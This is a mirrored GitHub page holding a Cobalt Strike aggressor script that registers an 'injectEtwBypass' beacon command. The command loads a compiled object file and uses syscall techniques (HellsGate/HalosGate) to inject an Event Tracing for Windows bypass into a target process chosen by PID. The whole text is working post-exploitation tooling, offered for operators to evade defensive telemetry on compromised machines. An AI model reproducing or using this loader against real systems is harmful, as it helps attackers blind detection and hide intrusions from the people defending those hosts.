mirror of
https://github.com/sliverarmory/injectEtwBypass
synced 2026-06-08 17:30:57 +00:00
Bobby Cooke
22 lines
666 B
Plaintext
22 lines
666 B
Plaintext
beacon_command_register(
|
|
"injectEtwBypass",
|
|
"Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate)",
|
|
"Synopsis: injectEtwBypass PID"
|
|
);
|
|
|
|
alias injectEtwBypass {
|
|
if(size(@_) != 2)
|
|
{
|
|
berror($1, "Incorrect usage!");
|
|
berror($1, beacon_command_detail("injectEtwBypass"));
|
|
return;
|
|
}
|
|
local('$handle $data $args');
|
|
$handle = openf(script_resource("injectEtwBypass.o"));
|
|
$data = readb($handle, -1);
|
|
closef($handle);
|
|
$args = bof_pack($1, "i",$2);
|
|
btask($1, "Inject ETW Bypass (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)");
|
|
beacon_inline_execute($1, $data, "go", $args);
|
|
}
|